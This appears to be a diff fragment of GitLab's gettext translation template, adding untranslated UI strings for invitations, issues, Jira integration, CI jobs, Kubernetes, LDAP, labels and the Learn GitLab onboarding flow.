+msgid "Invalid yaml"
+msgstr ""
+
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
+msgid "Invitation"
+msgstr ""
+
+msgid "Invitation declined"
+msgstr ""
+
+msgid "Invite"
+msgstr ""
+
+msgid "Invite \"%{email}\" by email"
+msgstr ""
+
+msgid "Invite \"%{trimmed}\" by email"
+msgstr ""
+
+msgid "Invite Members"
+msgstr ""
+
+msgid "Invite a group"
+msgstr ""
+
+msgid "Invite group"
+msgstr ""
+
+msgid "Invite member"
+msgstr ""
+
+msgid "Invite members"
+msgstr ""
+
+msgid "Invite your team"
+msgstr ""
+
+msgid "InviteEmail|%{inviter} invited you to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
+msgstr ""
+
+msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
+msgstr ""
+
+msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
+msgstr ""
+
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgstr ""
+
+msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
+msgstr ""
+
+msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
+msgstr ""
+
+msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgstr ""
+
+msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgstr ""
+
+msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgstr ""
+
+msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgstr ""
+
+msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgstr ""
+
+msgid "InviteMembersModal|Access expiration date (optional)"
+msgstr ""
+
+msgid "InviteMembersModal|Cancel"
+msgstr ""
+
+msgid "InviteMembersModal|Choose a role permission"
+msgstr ""
+
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
+msgid "InviteMembersModal|GitLab member or email address"
+msgstr ""
+
+msgid "InviteMembersModal|Invite"
+msgstr ""
+
+msgid "InviteMembersModal|Invite a group"
+msgstr ""
+
+msgid "InviteMembersModal|Invite members"
+msgstr ""
+
+msgid "InviteMembersModal|Members were successfully added"
+msgstr ""
+
+msgid "InviteMembersModal|Search for a group to invite"
+msgstr ""
+
+msgid "InviteMembersModal|Select a group to invite"
+msgstr ""
+
+msgid "InviteMembersModal|Select members or type email addresses"
+msgstr ""
+
+msgid "InviteMembersModal|Some of the members could not be added"
+msgstr ""
+
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
+msgstr ""
+
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
+msgstr ""
+
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
+msgstr ""
+
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
+msgstr ""
+
+msgid "InviteMembers|Invite a group"
+msgstr ""
+
+msgid "InviteMembers|Invite team members"
+msgstr ""
+
+msgid "InviteMember|Add members to this project and start collaborating with your team."
+msgstr ""
+
+msgid "InviteMember|Don't worry, you can always invite teammates later"
+msgstr ""
+
+msgid "InviteMember|Invite Member"
+msgstr ""
+
+msgid "InviteMember|Invite Members (optional)"
+msgstr ""
+
+msgid "InviteMember|Invite another member"
+msgstr ""
+
+msgid "InviteMember|Invite another teammate"
+msgstr ""
+
+msgid "InviteMember|Invite members"
+msgstr ""
+
+msgid "InviteMember|Invite teammates to your GitLab group"
+msgstr ""
+
+msgid "InviteMember|Invite users to your group %{group_name} so you can collaborate on your projects"
+msgstr ""
+
+msgid "InviteMember|Invite your team"
+msgstr ""
+
+msgid "InviteMember|Invite your teammates"
+msgstr ""
+
+msgid "InviteMember|Invited users will be added with developer level permissions. %{linkStart}View the documentation%{linkEnd} to see how to change this later."
+msgstr ""
+
+msgid "InviteMember|Oops, this feature isn't ready yet"
+msgstr ""
+
+msgid "InviteMember|See who can invite members for you"
+msgstr ""
+
+msgid "InviteMember|Send invitations"
+msgstr ""
+
+msgid "InviteMember|Skip this for now"
+msgstr ""
+
+msgid "InviteMember|Until then, ask an owner to invite new project members for you"
+msgstr ""
+
+msgid "InviteMember|We're working to allow everyone to invite new members, making it easier for teams to get started with GitLab"
+msgstr ""
+
+msgid "InviteReminderEmail|%{inviter} is still waiting for you to join GitLab"
+msgstr ""
+
+msgid "InviteReminderEmail|%{inviter} is waiting for you to join GitLab"
+msgstr ""
+
+msgid "InviteReminderEmail|%{inviter} is waiting for you to join the %{strong_start}%{project_or_group_name}%{strong_end} %{project_or_group} as a %{role}."
+msgstr ""
+
+msgid "InviteReminderEmail|%{inviter}'s invitation to GitLab is pending"
+msgstr ""
+
+msgid "InviteReminderEmail|Accept invitation"
+msgstr ""
+
+msgid "InviteReminderEmail|Accept invitation: %{invite_url}"
+msgstr ""
+
+msgid "InviteReminderEmail|Decline invitation"
+msgstr ""
+
+msgid "InviteReminderEmail|Decline invitation: %{decline_url}"
+msgstr ""
+
+msgid "InviteReminderEmail|Hey there %{wave_emoji}"
+msgstr ""
+
+msgid "InviteReminderEmail|Hey there!"
+msgstr ""
+
+msgid "InviteReminderEmail|In case you missed it..."
+msgstr ""
+
+msgid "InviteReminderEmail|Invitation pending"
+msgstr ""
+
+msgid "InviteReminderEmail|It's been %{invitation_age} days since %{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end} %{project_or_group} as a %{role}. What would you like to do?"
+msgstr ""
+
+msgid "InviteReminderEmail|This is a friendly reminder that %{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end} %{project_or_group} as a %{role}."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
+msgid "Invocations"
+msgstr ""
+
+msgid "Is blocked by"
+msgstr ""
+
+msgid "Is this GitLab trial for your company?"
+msgstr ""
+
+msgid "Is using license seat:"
+msgstr ""
+
+msgid "Is using seat"
+msgstr ""
+
+msgid "IssuableStatus|Closed"
+msgstr ""
+
+msgid "IssuableStatus|Closed (%{link})"
+msgstr ""
+
+msgid "IssuableStatus|duplicated"
+msgstr ""
+
+msgid "IssuableStatus|moved"
+msgstr ""
+
+msgid "IssuableStatus|promoted"
+msgstr ""
+
+msgid "Issue"
+msgstr ""
+
+msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
+msgstr ""
+
+msgid "Issue Analytics"
+msgstr ""
+
+msgid "Issue Boards"
+msgstr ""
+
+msgid "Issue already promoted to epic."
+msgstr ""
+
+msgid "Issue cannot be found."
+msgstr ""
+
+msgid "Issue created from vulnerability %{vulnerability_link}"
+msgstr ""
+
+msgid "Issue details"
+msgstr ""
+
+msgid "Issue events"
+msgstr ""
+
+msgid "Issue first deployed to production"
+msgstr ""
+
+msgid "Issue label"
+msgstr ""
+
+msgid "Issue or Merge Request ID is required"
+msgstr ""
+
+msgid "Issue published on status page."
+msgstr ""
+
+msgid "Issue title"
+msgstr ""
+
+msgid "Issue types"
+msgstr ""
+
+msgid "Issue update failed"
+msgstr ""
+
+msgid "Issue was closed by %{name} %{reason}"
+msgstr ""
+
+msgid "Issue weight"
+msgstr ""
+
+msgid "Issue(s) already assigned"
+msgstr ""
+
+msgid "IssueAnalytics|Age"
+msgstr ""
+
+msgid "IssueAnalytics|Assignees"
+msgstr ""
+
+msgid "IssueAnalytics|Due date"
+msgstr ""
+
+msgid "IssueAnalytics|Failed to load issues. Please try again."
+msgstr ""
+
+msgid "IssueAnalytics|Issue"
+msgstr ""
+
+msgid "IssueAnalytics|Milestone"
+msgstr ""
+
+msgid "IssueAnalytics|Opened by"
+msgstr ""
+
+msgid "IssueAnalytics|Status"
+msgstr ""
+
+msgid "IssueAnalytics|Weight"
+msgstr ""
+
+msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
+msgstr ""
+
+msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
+msgstr ""
+
+msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
+msgstr ""
+
+msgid "IssueBoards|Board"
+msgstr ""
+
+msgid "IssueBoards|Boards"
+msgstr ""
+
+msgid "IssueBoards|Create new board"
+msgstr ""
+
+msgid "IssueBoards|Delete board"
+msgstr ""
+
+msgid "IssueBoards|No matching boards found"
+msgstr ""
+
+msgid "IssueBoards|Some of your boards are hidden, activate a license to see them again."
+msgstr ""
+
+msgid "IssueBoards|Switch board"
+msgstr ""
+
+msgid "IssueTracker|Bugzilla issue tracker"
+msgstr ""
+
+msgid "IssueTracker|Custom issue tracker"
+msgstr ""
+
+msgid "IssueTracker|EWM work items tracker"
+msgstr ""
+
+msgid "IssueTracker|Redmine issue tracker"
+msgstr ""
+
+msgid "IssueTracker|YouTrack issue tracker"
+msgstr ""
+
+msgid "Issues"
+msgstr ""
+
+msgid "Issues Rate Limits"
+msgstr ""
+
+msgid "Issues and Merge Requests"
+msgstr ""
+
+msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
+msgstr ""
+
+msgid "Issues closed"
+msgstr ""
+
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
+msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
+msgstr ""
+
+msgid "Issues with label %{label}"
+msgstr ""
+
+msgid "Issues with no epic assigned"
+msgstr ""
+
+msgid "Issues, merge requests, pushes, and comments."
+msgstr ""
+
+msgid "IssuesAnalytics|After you begin creating issues for your projects, we can start tracking and displaying metrics for them"
+msgstr ""
+
+msgid "IssuesAnalytics|Avg/Month:"
+msgstr ""
+
+msgid "IssuesAnalytics|Issues opened"
+msgstr ""
+
+msgid "IssuesAnalytics|Issues opened per month"
+msgstr ""
+
+msgid "IssuesAnalytics|Last 12 months"
+msgstr ""
+
+msgid "IssuesAnalytics|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "IssuesAnalytics|There are no issues for the projects in your group"
+msgstr ""
+
+msgid "IssuesAnalytics|To widen your search, change or remove filters in the filter bar above"
+msgstr ""
+
+msgid "IssuesAnalytics|Total:"
+msgstr ""
+
+msgid "Issue|Title"
+msgstr ""
+
+msgid "It is not possible to %{action} files that are stored in LFS using the web interface"
+msgstr ""
+
+msgid "It looks like you have some draft commits in this branch."
+msgstr ""
+
+msgid "It may be several days before you see feature usage data."
+msgstr ""
+
+msgid "It must have a header row and at least two columns: the first column is the issue title and the second column is the issue description. The separator is automatically detected."
+msgstr ""
+
+msgid "It seems like the Dependency Scanning job ran successfully, but no dependencies have been detected in your project."
+msgstr ""
+
+msgid "It seems that there is currently no available data for code coverage"
+msgstr ""
+
+msgid "It's you"
+msgstr ""
+
+msgid "Italic text"
+msgstr ""
+
+msgid "Iteration"
+msgstr ""
+
+msgid "Iteration changed to"
+msgstr ""
+
+msgid "Iteration lists not available with your current license"
+msgstr ""
+
+msgid "Iteration removed"
+msgstr ""
+
+msgid "Iteration updated"
+msgstr ""
+
+msgid "Iterations"
+msgstr ""
+
+msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
+msgstr ""
+
+msgid "Iteration|cannot be more than 500 years in the future"
+msgstr ""
+
+msgid "I’m familiar with the basics of DevOps."
+msgstr ""
+
+msgid "I’m not familiar with the basics of DevOps."
+msgstr ""
+
+msgid "Jaeger URL"
+msgstr ""
+
+msgid "Jaeger tracing"
+msgstr ""
+
+msgid "Jan"
+msgstr ""
+
+msgid "January"
+msgstr ""
+
+msgid "Japanese language support using"
+msgstr ""
+
+msgid "Jira Issues"
+msgstr ""
+
+msgid "Jira display name"
+msgstr ""
+
+msgid "Jira import is already running."
+msgstr ""
+
+msgid "Jira integration not configured."
+msgstr ""
+
+msgid "Jira project key is not configured"
+msgstr ""
+
+msgid "Jira project: %{importProject}"
+msgstr ""
+
+msgid "Jira service not configured."
+msgstr ""
+
+msgid "Jira user"
+msgstr ""
+
+msgid "Jira users have been imported from the configured Jira instance. They can be mapped by selecting a GitLab user from the dropdown in the \"GitLab username\" column. When the form appears, the dropdown defaults to the user conducting the import."
+msgstr ""
+
+msgid "Jira-GitLab user mapping template"
+msgstr ""
+
+msgid "JiraService| on branch %{branch_link}"
+msgstr ""
+
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
+msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
+msgstr ""
+
+msgid "JiraService|An error occurred while fetching issue list"
+msgstr ""
+
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
+msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
+msgstr ""
+
+msgid "JiraService|Displaying Jira issues while leaving the GitLab issue functionality enabled might be confusing. Consider %{linkStart}disabling GitLab issues%{linkEnd} if they won’t otherwise be used."
+msgstr ""
+
+msgid "JiraService|Enable Jira issues"
+msgstr ""
+
+msgid "JiraService|Enable Jira issues creation from vulnerabilities"
+msgstr ""
+
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
+msgid "JiraService|Events for %{noteable_model_name} are disabled."
+msgstr ""
+
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
+msgid "JiraService|Fetch issue types for this Jira project"
+msgstr ""
+
+msgid "JiraService|For example, 12, 24"
+msgstr ""
+
+msgid "JiraService|GitLab for Jira Configuration"
+msgstr ""
+
+msgid "JiraService|If different from Web URL"
+msgstr ""
+
+msgid "JiraService|Issue List"
+msgstr ""
+
+msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
+msgstr ""
+
+msgid "JiraService|Jira API URL"
+msgstr ""
+
+msgid "JiraService|Jira Issues"
+msgstr ""
+
+msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgstr ""
+
+msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgstr ""
+
+msgid "JiraService|Jira issue tracker"
+msgstr ""
+
+msgid "JiraService|Jira issue type"
+msgstr ""
+
+msgid "JiraService|Jira project key"
+msgstr ""
+
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
+msgstr ""
+
+msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
+msgstr ""
+
+msgid "JiraService|Open Jira"
+msgstr ""
+
+msgid "JiraService|Password or API token"
+msgstr ""
+
+msgid "JiraService|Project key changed, refresh list"
+msgstr ""
+
+msgid "JiraService|Project key is required to generate issue types"
+msgstr ""
+
+msgid "JiraService|Select issue type"
+msgstr ""
+
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
+msgstr ""
+
+msgid "JiraService|Sign in to GitLab.com to get started."
+msgstr ""
+
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
+msgid "JiraService|This issue is synchronized with Jira"
+msgstr ""
+
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
+msgid "JiraService|Use a password for server version and an API token for cloud version"
+msgstr ""
+
+msgid "JiraService|Use a username for server version and an email for cloud version"
+msgstr ""
+
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
+msgid "JiraService|Username or Email"
+msgstr ""
+
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
+msgid "JiraService|View Jira issues in GitLab"
+msgstr ""
+
+msgid "JiraService|Warning: All GitLab users that have access to this GitLab project will be able to view all issues from the Jira project specified below."
+msgstr ""
+
+msgid "JiraService|Web URL"
+msgstr ""
+
+msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
+msgstr ""
+
+msgid "JiraService|e.g. AB"
+msgstr ""
+
+msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgstr ""
+
+msgid "Job"
+msgstr ""
+
+msgid "Job Failed #%{build_id}"
+msgstr ""
+
+msgid "Job ID"
+msgstr ""
+
+msgid "Job artifact"
+msgstr ""
+
+msgid "Job artifacts"
+msgstr ""
+
+msgid "Job has been erased"
+msgstr ""
+
+msgid "Job has been successfully erased!"
+msgstr ""
+
+msgid "Job has wrong arguments format."
+msgstr ""
+
+msgid "Job is missing the `model_type` argument."
+msgstr ""
+
+msgid "Job is stuck. Check runners."
+msgstr ""
+
+msgid "Job logs and artifacts"
+msgstr ""
+
+msgid "Job to create self-monitoring project is in progress"
+msgstr ""
+
+msgid "Job to delete self-monitoring project is in progress"
+msgstr ""
+
+msgid "Job was retried"
+msgstr ""
+
+msgid "Jobs"
+msgstr ""
+
+msgid "Jobs fail if they run longer than the timeout time. Input value is in seconds by default. Human readable input is also accepted, for example %{code_open}1 hour%{code_close}."
+msgstr ""
+
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
+msgid "Job|Browse"
+msgstr ""
+
+msgid "Job|Complete Raw"
+msgstr ""
+
+msgid "Job|Download"
+msgstr ""
+
+msgid "Job|Erase job log"
+msgstr ""
+
+msgid "Job|Job artifacts"
+msgstr ""
+
+msgid "Job|Job has been erased"
+msgstr ""
+
+msgid "Job|Job has been erased by %{userLink}"
+msgstr ""
+
+msgid "Job|Keep"
+msgstr ""
+
+msgid "Job|Pipeline"
+msgstr ""
+
+msgid "Job|Scroll to bottom"
+msgstr ""
+
+msgid "Job|Scroll to top"
+msgstr ""
+
+msgid "Job|Show complete raw"
+msgstr ""
+
+msgid "Job|The artifacts were removed"
+msgstr ""
+
+msgid "Job|The artifacts will be removed"
+msgstr ""
+
+msgid "Job|These artifacts are the latest. They will not be deleted (even if expired) until newer artifacts are available."
+msgstr ""
+
+msgid "Job|This job failed because the necessary resources were not successfully created."
+msgstr ""
+
+msgid "Job|This job is stuck because the project doesn't have any runners online assigned to it."
+msgstr ""
+
+msgid "Job|This job is stuck because you don't have any active runners online or available with any of these tags assigned to them:"
+msgstr ""
+
+msgid "Job|This job is stuck because you don't have any active runners that can run this job."
+msgstr ""
+
+msgid "Job|for"
+msgstr ""
+
+msgid "Job|into"
+msgstr ""
+
+msgid "Job|with"
+msgstr ""
+
+msgid "Join Zoom meeting"
+msgstr ""
+
+msgid "Joined %{time_ago}"
+msgstr ""
+
+msgid "Jul"
+msgstr ""
+
+msgid "July"
+msgstr ""
+
+msgid "Jump to next unresolved thread"
+msgstr ""
+
+msgid "Jun"
+msgstr ""
+
+msgid "June"
+msgstr ""
+
+msgid "Just me"
+msgstr ""
+
+msgid "K8s pod health"
+msgstr ""
+
+msgid "Keep artifacts from most recent successful jobs"
+msgstr ""
+
+msgid "Keep divergent refs"
+msgstr ""
+
+msgid "Keep editing"
+msgstr ""
+
+msgid "Keeping all SAST analyzers enabled future-proofs the project in case new languages are added later on. Determining which analyzers apply is a process that consumes minimal resources and adds minimal time to the pipeline. Leaving all SAST analyzers enabled ensures maximum coverage."
+msgstr ""
+
+msgid "Kerberos access denied"
+msgstr ""
+
+msgid "Key"
+msgstr ""
+
+msgid "Key (PEM)"
+msgstr ""
+
+msgid "Key: %{key}"
+msgstr ""
+
+msgid "Keyboard shortcuts"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl+"
+msgstr ""
+
+msgid "Keys"
+msgstr ""
+
+msgid "Ki"
+msgstr ""
+
+msgid "Kroki"
+msgstr ""
+
+msgid "Kubernetes"
+msgstr ""
+
+msgid "Kubernetes API returned status code: %{error_code}"
+msgstr ""
+
+msgid "Kubernetes Cluster"
+msgstr ""
+
+msgid "Kubernetes Clusters"
+msgstr ""
+
+msgid "Kubernetes cluster"
+msgstr ""
+
+msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
+msgstr ""
+
+msgid "Kubernetes cluster integration and resources are being removed."
+msgstr ""
+
+msgid "Kubernetes cluster integration was successfully removed."
+msgstr ""
+
+msgid "Kubernetes cluster was successfully updated."
+msgstr ""
+
+msgid "Kubernetes deployment not found"
+msgstr ""
+
+msgid "Kubernetes error: %{error_code}"
+msgstr ""
+
+msgid "LDAP"
+msgstr ""
+
+msgid "LDAP Synchronization"
+msgstr ""
+
+msgid "LDAP group settings"
+msgstr ""
+
+msgid "LDAP settings"
+msgstr ""
+
+msgid "LDAP settings updated"
+msgstr ""
+
+msgid "LDAP sync in progress. This could take a few minutes. Refresh the page to see the changes."
+msgstr ""
+
+msgid "LDAP synchronizations"
+msgstr ""
+
+msgid "LFS"
+msgstr ""
+
+msgid "LFS object"
+msgstr ""
+
+msgid "LFS objects"
+msgstr ""
+
+msgid "LFSStatus|Disabled"
+msgstr ""
+
+msgid "LFSStatus|Enabled"
+msgstr ""
+
+msgid "LICENSE"
+msgstr ""
+
+msgid "Label"
+msgstr ""
+
+msgid "Label actions dropdown"
+msgstr ""
+
+msgid "Label lists show all issues with the selected label."
+msgstr ""
+
+msgid "Label priority"
+msgstr ""
+
+msgid "Label was created"
+msgstr ""
+
+msgid "Label was removed"
+msgstr ""
+
+msgid "Label was successfully updated."
+msgstr ""
+
+msgid "LabelSelect|%{firstLabelName} +%{remainingLabelCount} more"
+msgstr ""
+
+msgid "LabelSelect|%{labelsString}, and %{remainingLabelCount} more"
+msgstr ""
+
+msgid "LabelSelect|Labels"
+msgstr ""
+
+msgid "Labels"
+msgstr ""
+
+msgid "Labels can be applied to %{features}. Group labels are available for any project within the group."
+msgstr ""
+
+msgid "Labels can be applied to issues and merge requests to categorize them."
+msgstr ""
+
+msgid "Labels can be applied to issues and merge requests."
+msgstr ""
+
+msgid "Labels with no issues in this iteration:"
+msgstr ""
+
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
+
+msgid "Labels|Promote Label"
+msgstr ""
+
+msgid "Labels|Promoting %{labelTitle} will make it available for all projects inside %{groupName}. Existing project labels with the same title will be merged. If a group label with the same title exists, it will also be merged. This action cannot be reversed."
+msgstr ""
+
+msgid "Language"
+msgstr ""
+
+msgid "Large File Storage"
+msgstr ""
+
+msgid "Last %d day"
+msgid_plural "Last %d days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Last %{days} days"
+msgstr ""
+
+msgid "Last 2 weeks"
+msgstr ""
+
+msgid "Last 30 days"
+msgstr ""
+
+msgid "Last 60 days"
+msgstr ""
+
+msgid "Last 90 days"
+msgstr ""
+
+msgid "Last Accessed On"
+msgstr ""
+
+msgid "Last Pipeline"
+msgstr ""
+
+msgid "Last Seen"
+msgstr ""
+
+msgid "Last Used"
+msgstr ""
+
+msgid "Last accessed on"
+msgstr ""
+
+msgid "Last activity"
+msgstr ""
+
+msgid "Last commit"
+msgstr ""
+
+msgid "Last contact"
+msgstr ""
+
+msgid "Last edited %{date}"
+msgstr ""
+
+msgid "Last edited by %{link_start}%{avatar} %{name}%{link_end}"
+msgstr ""
+
+msgid "Last item before this page loaded in your browser:"
+msgstr ""
+
+msgid "Last month"
+msgstr ""
+
+msgid "Last name"
+msgstr ""
+
+msgid "Last reply by"
+msgstr ""
+
+msgid "Last repository check (%{last_check_timestamp}) failed. See the 'repocheck.log' file for error messages."
+msgstr ""
+
+msgid "Last repository check run"
+msgstr ""
+
+msgid "Last seen"
+msgstr ""
+
+msgid "Last sign-in"
+msgstr ""
+
+msgid "Last successful sync"
+msgstr ""
+
+msgid "Last successful update"
+msgstr ""
+
+msgid "Last time verified"
+msgstr ""
+
+msgid "Last update"
+msgstr ""
+
+msgid "Last update attempt"
+msgstr ""
+
+msgid "Last updated"
+msgstr ""
+
+msgid "Last used"
+msgstr ""
+
+msgid "Last used %{last_used_at} ago"
+msgstr ""
+
+msgid "Last used on:"
+msgstr ""
+
+msgid "Last week"
+msgstr ""
+
+msgid "Last year"
+msgstr ""
+
+msgid "LastCommit|authored"
+msgstr ""
+
+msgid "LastPushEvent|You pushed to"
+msgstr ""
+
+msgid "LastPushEvent|at"
+msgstr ""
+
+msgid "Latest changes"
+msgstr ""
+
+msgid "Latest pipeline for the most recent commit on this branch"
+msgstr ""
+
+msgid "Launch a ready-to-code development environment for your project."
+msgstr ""
+
+msgid "Lead"
+msgstr ""
+
+msgid "Lead Time"
+msgstr ""
+
+msgid "Learn CI/CD syntax"
+msgstr ""
+
+msgid "Learn GitLab"
+msgstr ""
+
+msgid "Learn GitLab - Ultimate trial"
+msgstr ""
+
+msgid "Learn GitLab|Trial only"
+msgstr ""
+
+msgid "Learn how to %{link_start}contribute to the built-in templates%{link_end}"
+msgstr ""
+
+msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
+msgstr ""
+
+msgid "Learn how to enable synchronization"
+msgstr ""
+
+msgid "Learn more"
+msgstr ""
+
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
+msgid "Learn more about %{username}"
+msgstr ""
+
+msgid "Learn more about Auto DevOps"
+msgstr ""
+
+msgid "Learn more about License-Check"
+msgstr ""
+
+msgid "Learn more about Needs relationships"
+msgstr ""
+
+msgid "Learn more about Vulnerability-Check"
+msgstr ""
+
+msgid "Learn more about Web Terminal"
+msgstr ""
+
+msgid "Learn more about X.509 signed commits"
+msgstr ""
+
+msgid "Learn more about adding certificates to your project by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
+msgstr ""
+
+msgid "Learn more about custom project templates"
+msgstr ""
+
+msgid "Learn more about deploying to AWS"
+msgstr ""
+
+msgid "Learn more about deploying to a cluster"
+msgstr ""
+
+msgid "Learn more about group-level project templates"
+msgstr ""
+
+msgid "Learn more about signing commits"
+msgstr ""
+
+msgid "Learn more in the"
+msgstr ""
+
+msgid "Learn more in the|pipeline schedules documentation"
+msgstr ""
+
+msgid "Learn more."
+msgstr ""
+
+msgid "LearnGitLab|%{percentage}%{percentSymbol} completed"
+msgstr ""
+
+msgid "LearnGitLab|Add code owners"
+msgstr ""
+
+msgid "LearnGitLab|Add merge request approval"
+msgstr ""
+
+msgid "LearnGitLab|Complete these tasks first so you can enjoy GitLab's features to their fullest:"
+msgstr ""
+
+msgid "LearnGitLab|Create a workflow for your new workspace, and learn how GitLab features work together:"
+msgstr ""
+
+msgid "LearnGitLab|Create or import a repository"
+msgstr ""
+
+msgid "LearnGitLab|Create or import your first repository into your new project."
+msgstr ""
+
+msgid "LearnGitLab|Deploy"
+msgstr ""
+
+msgid "LearnGitLab|Enable require merge approvals"
+msgstr ""
+
+msgid "LearnGitLab|GitLab works best as a team. Invite your colleague to enjoy all features."
+msgstr ""
+
+msgid "LearnGitLab|Invite your colleagues"
+msgstr ""
+
+msgid "LearnGitLab|Learn GitLab"
+msgstr ""
+
+msgid "LearnGitLab|Plan and execute"
+msgstr ""
+
+msgid "LearnGitLab|Prevent unexpected changes to important assets by assigning ownership of files and paths."
+msgstr ""
+
+msgid "LearnGitLab|Ready to get started with GitLab? Follow these steps to set up your workspace, plan and commit changes, and deploy your project."
+msgstr ""
+
+msgid "LearnGitLab|Review and edit proposed changes to source code."
+msgstr ""
+
+msgid "LearnGitLab|Route code reviews to the right reviewers, every time."
+msgstr ""
+
+msgid "LearnGitLab|Run a Security scan"
+msgstr ""
+
+msgid "LearnGitLab|Run a security scan"
+msgstr ""
+
+msgid "LearnGitLab|Save time by automating your integration and deployment tasks."
+msgstr ""
+
+msgid "LearnGitLab|Scan your code to uncover vulnerabilities before deploying."
+msgstr ""
+
+msgid "LearnGitLab|Set up CI/CD"
+msgstr ""
+
+msgid "LearnGitLab|Set up your workspace"
+msgstr ""
+
+msgid "LearnGitLab|Set-up CI/CD"
+msgstr ""
+
+msgid "LearnGitLab|Start a free Ultimate trial"
+msgstr ""
+
+msgid "LearnGitLab|Submit a merge request"
+msgstr ""
+
+msgid "LearnGitLab|Submit a merge request (MR)"
+msgstr ""
+
+msgid "LearnGitLab|Try GitLab Ultimate for free"
+msgstr ""
+
+msgid "LearnGitLab|Try all GitLab features for 30 days, no credit card required."
+msgstr ""
+
